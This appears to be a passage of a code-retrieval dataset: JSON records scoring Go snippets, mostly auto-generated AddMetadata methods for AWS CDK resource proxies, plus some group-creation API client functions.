"docid": "15e4941b1d889127fa128b15562fc3ca", "score": "0.59160227", "text": "func (c *jsiiProxy_CfnVpcLink) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "44e97a6282b9d98fd9be2a5d71b02952", "score": "0.5897851", "text": "func (c *jsiiProxy_CfnUsagePlanKey) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "ad95c321e648f2820e274ad97f47f0f7", "score": "0.58961695", "text": "func (c *jsiiProxy_CfnSchema) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "e65d9e567554aea6fd160ddac9889496", "score": "0.5887879", "text": "func (c *jsiiProxy_CfnLocationS3) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "3fec865ebeee88c506312bb398d45b9e", "score": "0.5887862", "text": "func (c *jsiiProxy_CfnResponsePlan) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "9559efe2d66631e33376cbe22f0030e7", "score": "0.5870338", "text": "func (c *jsiiProxy_CfnUsagePlan) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "1b15d55c4a65c34b6e6688549e2de694", "score": "0.58568984", "text": "func (c *jsiiProxy_CfnSecurityProfile) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "c45bba7affd4450fc65cfcd5948ba9ee", "score": "0.5855545", "text": "func (c *jsiiProxy_CfnGatewayResponse) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "65637bc4e892bad0dcfedf56caf70b23", "score": "0.5847553", "text": "func (c *jsiiProxy_CfnAuthorizer) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "65637bc4e892bad0dcfedf56caf70b23", "score": "0.5846671", "text": "func (c *jsiiProxy_CfnAuthorizer) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "41d409e94917af7dbb4d736f29cbcf4d", "score": "0.5837669", "text": "func (c *jsiiProxy_CfnGrant) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "05c1baeb22ae4495287e0ef56071b6c6", "score": "0.5836583", "text": "func (c *jsiiProxy_CfnModuleDefaultVersion) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "0d3c5fda505fd154d0d7d0b670f5b0a0", "score": "0.5828446", "text": "func (c *jsiiProxy_CfnIntegrationV2) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "c5e69f3ef964b9408e26410ef88edabd", "score": "0.5809958", "text": "func (c *jsiiProxy_CfnTargetGroup) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "d9e9ea069049a7c10f518121ab30714c", "score": "0.5801224", "text": "func (c *jsiiProxy_CfnAccount) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "8aea321a542395536fa80b613be1b1de", "score": "0.57848954", "text": "func (c *jsiiProxy_CfnApiMappingV2) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "1b3239296913ba6795847d43990feeec", "score": "0.57747006", "text": "func (c *jsiiProxy_CfnPublisher) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "8115b3fb7bb2368642252d95405070f2", "score": "0.57642317", "text": "func (c *jsiiProxy_CfnMethod) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "867c44f2dcc1db58bdbe85ed3f96b4bf", "score": "0.5762952", "text": "func (r *Redirect) AddMetadata(key, value string) {\n\tr.Metadata[key] = value\n}", "title": "" }, { "docid": "2edf9b17157114207fb434992d7927cf", "score": "0.5754742", "text": "func (c *jsiiProxy_CfnAuthorizerV2) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "252afff52b53ddc08149a7a5bc8b8b90", "score": "0.5752185", "text": "func (c *jsiiProxy_CfnIntegrationResponseV2) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "d508f02828812a05a4549904fb942773", "score": "0.5751791", "text": "func (c *jsiiProxy_CfnLoadBalancer) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "e4620378cbf07c7c1572ba07c74b6a32", "score": "0.574198", "text": "func (c *jsiiProxy_CfnScheduledAudit) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "559d16388d609b8a2116b359fd4ea890", "score": "0.5731819", "text": "func (p *AccountParams) AddMetadata(key string, value string) {\n\tif p.Metadata == nil {\n\t\tp.Metadata = make(map[string]string)\n\t}\n\n\tp.Metadata[key] = value\n}", "title": "" }, { "docid": "2431e503fbd987ac331769caa5b0c463", "score": "0.57280344", "text": "func (c *jsiiProxy_CfnCertificate) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "5a455d20656f2d308270bb5b03ac4f86", "score": "0.57232296", "text": "func (c *jsiiProxy_CfnLocationEFS) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "08a00fea05489a8b8d89d9e614e7a363", "score": "0.5716131", "text": "func (c *jsiiProxy_CfnRouteV2) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "8863392bf327f9589fb99b6825234639", "score": "0.57015866", "text": "func (p *SubscriptionScheduleParams) AddMetadata(key string, value string) {\n\tif p.Metadata == nil {\n\t\tp.Metadata = make(map[string]string)\n\t}\n\n\tp.Metadata[key] = value\n}", "title": "" }, { "docid": "ae19e943a8b41a8598d6f0fabd875595", "score": "0.5699775", "text": "func (p *PayoutParams) AddMetadata(key string, value string) {\n\tif p.Metadata == nil {\n\t\tp.Metadata = make(map[string]string)\n\t}\n\n\tp.Metadata[key] = value\n}", "title": "" }, { "docid": "4a541857f9179d9145ff7f7e2ebcd8ee", "score": "0.5699113", "text": "func (p *TreasuryFinancialAccountParams) AddMetadata(key string, value string) {\n\tif p.Metadata == nil {\n\t\tp.Metadata = make(map[string]string)\n\t}\n\n\tp.Metadata[key] = value\n}", "title": "" }, { "docid": "d1cd0c84b7b123bc32956d5a8e87b26a", "score": "0.56869483", "text": "func (c *jsiiProxy_CfnAccessPoint) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "2988b930379115c6162f6cb0583b7b79", "score": "0.56764543", "text": "func (c *jsiiProxy_CfnRouteResponseV2) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "29c7df31810f83273ebd8b4eb7a5ef1d", "score": "0.56720394", "text": "func (c *jsiiProxy_CfnPublicTypeVersion) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "25a538afa382acf63aa4e91be4fb738f", "score": "0.5665342", "text": "func (c *jsiiProxy_CfnAccountAuditConfiguration) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "dc741bc51d547879a73cbd0dacf3fa14", "score": "0.5638499", "text": "func (c *jsiiProxy_CfnRequestValidator) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "85bc41ea8399e579b652d28f2c92b73d", "score": "0.56257796", "text": "func (c *jsiiProxy_CfnConfigurationSet) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "001d70a7730ec533cf8ff6347ea942f5", "score": "0.56237656", "text": "func (c *jsiiProxy_CfnLocationSMB) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "c45a1ce7ce64ca8625deb9b3b800a541", "score": "0.5617905", "text": "func (c *jsiiProxy_CfnMitigationAction) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "5e1d1cbee12802fb9f38f2b3bd8f3d80", "score": "0.5617005", "text": "func (c *jsiiProxy_CfnClientCertificate) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "88e4ff61ef7007e90d166318df5421ba", "score": "0.56087947", "text": "func (r *CustomResource) SetMetadata(metadata map[string]interface{}) {\n\tr._metadata = metadata\n}", "title": "" }, { "docid": "67084a1e774549f6117591b1745b5bf8", "score": "0.56057316", "text": "func (c *jsiiProxy_CfnAccessPointPolicy) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "0be4bad0b7818ec754d328769094364a", "score": "0.55596983", "text": "func (c *jsiiProxy_CfnDiscoverer) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "c1155f441857feca8135db42caf46cec", "score": "0.5542375", "text": "func (c *jsiiProxy_CfnLocationObjectStorage) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "77efccc2a9287ad7e9e68abd49504bfe", "score": "0.5533838", "text": "func (c *jsiiProxy_CfnDomainName) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "b9d6bd1b6fe8991e7e9dacec9a01fafc", "score": "0.5517729", "text": "func (p *SubscriptionSchedulePhaseParams) AddMetadata(key string, value string) {\n\tif p.Metadata == nil {\n\t\tp.Metadata = make(map[string]string)\n\t}\n\n\tp.Metadata[key] = value\n}", "title": "" }, { "docid": "280b7b072ce81acd8fd59ab4a35f21e5", "score": "0.5503557", "text": "func (c *jsiiProxy_CfnDomainNameV2) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "9f8abd59cbd57da877ec01819c416f55", "score": "0.54933095", "text": "func (p *SubscriptionSchedulePhaseItemParams) AddMetadata(key string, value string) {\n\tif p.Metadata == nil {\n\t\tp.Metadata = make(map[string]string)\n\t}\n\n\tp.Metadata[key] = value\n}", "title": "" }, { "docid": "8bbc64f54589b9ccbd157be475b34fd4", "score": "0.54900527", "text": "func (c *jsiiProxy_CfnNotificationRule) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "fd0db32fc3b5eb7207246d7ddb76f75f", "score": "0.5489989", "text": "func (c *jsiiProxy_CfnBasePathMapping) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "ce9cd24b735b78a15bdaf2c84b372978", "score": "0.54897445", "text": "func (c *jsiiProxy_CfnWaitConditionHandle) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "26f8f6bd37686b51252e368b81e1d034", "score": "0.548374", "text": "func (c *jsiiProxy_CfnWaitCondition) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "fabff22be766b5b5a3e39e692b7efa4f", "score": "0.5477078", "text": "func (v *SemVer) AddMetadata(s ...string) {\n\tv.Metadata = append(v.Metadata, s...)\n}", "title": "" }, { "docid": "65671f68eeb569508224c49f12e42c58", "score": "0.5464373", "text": "func (rpm *testRpmImpl) SetMetadata(key string, data string) error { return nil }", "title": "" }, { "docid": "cb0a84a93f51d040af6d0eb640e7d9df", "score": "0.5433194", "text": "func (p *PayoutReverseParams) AddMetadata(key string, value string) {\n\tif p.Metadata == nil {\n\t\tp.Metadata = make(map[string]string)\n\t}\n\n\tp.Metadata[key] = value\n}", "title": "" }, { "docid": "646f5fd45ef167b10e404798f32ee404", "score": "0.54242027", "text": "func (c *jsiiProxy_CfnReplicationSet) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "0430626ee7d29026fbe69c8bbb0de3b2", "score": "0.5424081", "text": "func (c *jsiiProxy_CfnLocationFSxWindows) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "4a3fc053b95eedbbd5b382ce016eb67c", "score": "0.54238415", "text": "func (c *jsiiProxy_CfnLocationNFS) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "e962e3f05aeb97b3bc885ad53073b7aa", "score": "0.5417174", "text": "func (c *jsiiProxy_CfnReceiptRule) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "c1a3aa7cef81bd8bde8702a0c426e34b", "score": "0.5408784", "text": "func (n *jsiiProxy_Node) AddMetadata(type_ *string, data interface{}, fromFunction interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tn,\n\t\t\"addMetadata\",\n\t\t[]interface{}{type_, data, fromFunction},\n\t)\n}", "title": "" } ]
89dd66f4ba32a6df53ec90e6cd4da302
NewCreateGroupBadRequest creates a CreateGroupBadRequest with default headers values
[ { "docid": "5355fe8fbf49f141635137af8cc98835", "score": "0.75262094", "text": "func NewCreateGroupBadRequest() *CreateGroupBadRequest {\n\treturn &CreateGroupBadRequest{}\n}", "title": "" } ]
[ { "docid": "fce045ac356f5f65ccb3967712ee6f0e", "score": "0.67081374", "text": "func NewAddGroupBadRequest() *AddGroupBadRequest {\n\treturn &AddGroupBadRequest{}\n}", "title": "" }, { "docid": "abadc5cb6d6ea386731f7a9d3fad9b8f", "score": "0.655723", "text": "func NewCreateHostGroupsBadRequest() *CreateHostGroupsBadRequest {\n\treturn &CreateHostGroupsBadRequest{}\n}", "title": "" }, { "docid": "ed4af8ae35882a85685312e296986bfe", "score": "0.6216332", "text": "func NewCreateGroupDefault(code int) *CreateGroupDefault {\n\treturn &CreateGroupDefault{\n\t\t_statusCode: code,\n\t}\n}", "title": "" }, { "docid": "010873d450b76ff41e90edf282f9785d", "score": "0.6160165", "text": "func TestCreateNodeGroupBadSizes(t *testing.T) {\n\tth.SetupHTTP()\n\tdefer th.TeardownHTTP()\n\n\thandleCreateNodeGroupBadSizes(t)\n\n\tsc := fake.ServiceClient()\n\tsc.Endpoint = sc.Endpoint + \"v1/\"\n\n\tmaxNodes := 3\n\tcreateOpts := nodegroups.CreateOpts{\n\t\tName: \"default-worker\",\n\t\tMinNodeCount: 5,\n\t\tMaxNodeCount: &maxNodes,\n\t}\n\n\t_, err := nodegroups.Create(sc, clusterUUID, createOpts).Extract()\n\tth.AssertEquals(t, true, err != nil)\n\t_, isNotAccepted := err.(gophercloud.ErrDefault409)\n\tth.AssertEquals(t, true, isNotAccepted)\n}", "title": "" }, { "docid": "0228a636f037e68b9348330a697e02a4", "score": "0.60801476", "text": "func newBadRequestErr(format string, a ...interface{}) error {\n\treturn &BadRequestErr {\n\t\tbaseErr: newBaseErr(format, a...),\n\t}\n}", "title": "" }, { "docid": "7294e8b8835dca07baba3ec750b55b58", "score": "0.60523665", "text": "func NewGetAdmingroupsBadRequest() *GetAdmingroupsBadRequest {\n\treturn &GetAdmingroupsBadRequest{}\n}", "title": "" }, { "docid": "fc7ea6545c9ba5aa6c1f8e3edb7f0302", "score": "0.6046152", "text": "func NewGetUserGroupBadRequest() *GetUserGroupBadRequest {\n\treturn &GetUserGroupBadRequest{}\n}", "title": "" }, { "docid": "5c7132516be2ca35285d82921be776af", "score": "0.60431206", "text": "func (o *CreateHostGroupsBadRequest) Code() int {\n\treturn 400\n}", "title": "" }, { "docid": "8ccee263b0f4ce62f4835ce77eb25361", "score": "0.601907", "text": "func NewGetEventLoopGroupBadRequest() *GetEventLoopGroupBadRequest {\n\treturn &GetEventLoopGroupBadRequest{}\n}", "title": "" }, { "docid": "0b9e76fcdbbed751b25ca561498d444e", "score": "0.59857976", "text": "func NewGetGroupDefault(code int) *GetGroupDefault {\n\tif code <= 0 {\n\t\tcode = 500\n\t}\n\n\treturn &GetGroupDefault{\n\t\t_statusCode: code,\n\t}\n}", "title": "" }, { "docid": "6e57fd1762e4df89fad8de988b0ded73", "score": "0.59845656", "text": "func NewSearchGroupsBadRequest() *SearchGroupsBadRequest {\n\treturn &SearchGroupsBadRequest{}\n}", "title": "" }, { "docid": "a847840699bd099ec14cdd76cfdd357e", "score": "0.59332997", "text": "func (a *GroupControllerApiService) CreateGroup(ctx _context.Context, createGroupOptions CreateGroupOptions) (GroupDto, *_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPost\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue GroupDto\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/groups\"\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"*/*\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\t// body params\n\tlocalVarPostBody = &createGroupOptions\n\tif ctx != nil {\n\t\t// API Key Authentication\n\t\tif auth, ok := ctx.Value(ContextAPIKey).(APIKey); ok {\n\t\t\tvar key string\n\t\t\tif auth.Prefix != \"\" {\n\t\t\t\tkey = auth.Prefix + \" \" + auth.Key\n\t\t\t} else {\n\t\t\t\tkey = auth.Key\n\t\t\t}\n\t\t\tlocalVarHeaderParams[\"x-api-key\"] = key\n\t\t}\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "2eb8ce9db81aaa99f56768039a646d5e", "score": "0.5907039", "text": "func (a *GroupsApiService) CreateGroup(ctx context.Context) ApiCreateGroupRequest {\n\treturn ApiCreateGroupRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t}\n}", "title": "" }, { "docid": "a48914a9217c2b73557b085a5182135b", "score": "0.5901352", "text": "func (token RefreshToken) CreateGroup(name string) {\n\turlStr := fmt.Sprintf(\"%s/2.0/groups\", boxAPIURL)\n\tclient := &http.Client{}\n\tjson := fmt.Sprintf(\"{\\\"name\\\": \\\"%s\\\"}\", name)\n\tpayload := strings.NewReader(json)\n\treq, err := http.NewRequest(\"POST\", urlStr, payload)\n\treq.Header.Add(\"Authorization\", \"Bearer \"+token.AccessToken)\n\n\tif err != nil {\n\t\tdebug(httputil.DumpRequestOut(req, true))\n\t}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tdebug(httputil.DumpResponse(resp, true))\n\t}\n\n\tif resp.StatusCode == 201 {\n\t\tfmt.Println(\"Success: Created group \", name)\n\t}\n\n\tfmt.Println(\"response status: \", resp.Status)\n\tbody, _ := ioutil.ReadAll(resp.Body)\n\tfmt.Println(\"response body: \", string(body))\n}", "title": "" }, { "docid": "10d8f09d1b28e31978e865323d5d770e", "score": "0.58709735", "text": "func (a *OCIGroupsApiService) GroupsCreate(ctx context.Context, command CreateGroupCommand) (Group, *http.Response, error) {\n\tvar (\n\t\tlocalVarHttpMethod = strings.ToUpper(\"Post\")\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tsuccessPayload Group\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/groups\"\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHttpContentTypes := []string{\"application/json\", \"text/json\", \"application/xml\", \"text/xml\", \"application/x-www-form-urlencoded\"}\n\n\t// set Content-Type header\n\tlocalVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes)\n\tif localVarHttpContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHttpContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHttpHeaderAccepts := []string{\n\t\t\"application/json\",\n\t\t\"text/json\",\n\t\t\"application/xml\",\n\t\t\"text/xml\",\n\t}\n\n\t// set Accept header\n\tlocalVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts)\n\tif localVarHttpHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHttpHeaderAccept\n\t}\n\t// body params\n\tlocalVarPostBody = &command\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn successPayload, nil, err\n\t}\n\n\tlocalVarHttpResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHttpResponse == nil {\n\t\treturn successPayload, localVarHttpResponse, err\n\t}\n\tdefer localVarHttpResponse.Body.Close()\n\tif localVarHttpResponse.StatusCode >= 300 {\n\t\tbodyBytes, _ := ioutil.ReadAll(localVarHttpResponse.Body)\n\t\treturn successPayload, localVarHttpResponse, reportError(\"Status: %v, Body: %s\", localVarHttpResponse.Status, bodyBytes)\n\t}\n\n\tif err = json.NewDecoder(localVarHttpResponse.Body).Decode(&successPayload); err != nil {\n\t\treturn successPayload, localVarHttpResponse, err\n\t}\n\n\treturn successPayload, localVarHttpResponse, err\n}", "title": "" }, { "docid": "0892c22487dda0eb6e9a5d38558ada7e", "score": "0.5845548", "text": "func (a *GroupApiService) CreateGroup(ctx _context.Context) ApiCreateGroupRequest {\n\treturn ApiCreateGroupRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t}\n}", "title": "" }, { "docid": "3ec97d59fe9501cb30f406fd8fe57206", "score": "0.5844033", "text": "func NewS3GroupCreateDefault(code int) *S3GroupCreateDefault {\n\treturn &S3GroupCreateDefault{\n\t\t_statusCode: code,\n\t}\n}", "title": "" }, { "docid": "83614bd615d3402b821c414dcb711bad", "score": "0.58353275", "text": "func NewReplaceSpoeGroupBadRequest() *ReplaceSpoeGroupBadRequest {\n\treturn &ReplaceSpoeGroupBadRequest{\n\t\tConfigurationVersion: 0,\n\t}\n}", "title": "" }, { "docid": "0d8354b22d3d5451a5699aa4860a0cab", "score": "0.58096206", "text": "func (h *HostHandler) createHostgroup(ctx *gin.Context) {\n\tvar req pub.Hostgroup\n\tif err := ctx.BindJSON(&req); err != nil {\n\t\tError(ctx, err, http.StatusBadRequest, nil)\n\t\treturn\n\t}\n\thostgroup, err := h.HostService.HostgroupByName(req.Name)\n\tif err != nil && err != pub.ErrHostgroupNotFound {\n\t\tError(ctx, err, http.StatusInternalServerError, h.Logger)\n\t\treturn\n\t}\n\tif hostgroup != nil {\n\t\tError(ctx, pub.ErrHostgroupAlreadyExists, http.StatusConflict, nil)\n\t\treturn\n\t}\n\thostgroup = &pub.Hostgroup{\n\t\tName: req.Name,\n\t\tComment: req.Comment,\n\t}\n\terr = h.HostService.CreateHostgroup(hostgroup)\n\tif err != nil {\n\t\tError(ctx, err, http.StatusInternalServerError, h.Logger)\n\t\treturn\n\t}\n\tctx.IndentedJSON(http.StatusCreated, &msgResponse{Msg: \"Put hostgroup success\"})\n}", "title": "" }, { "docid": "4535469473a7e095666128ef15feee6e", "score": "0.57719946", "text": "func (a Groups) 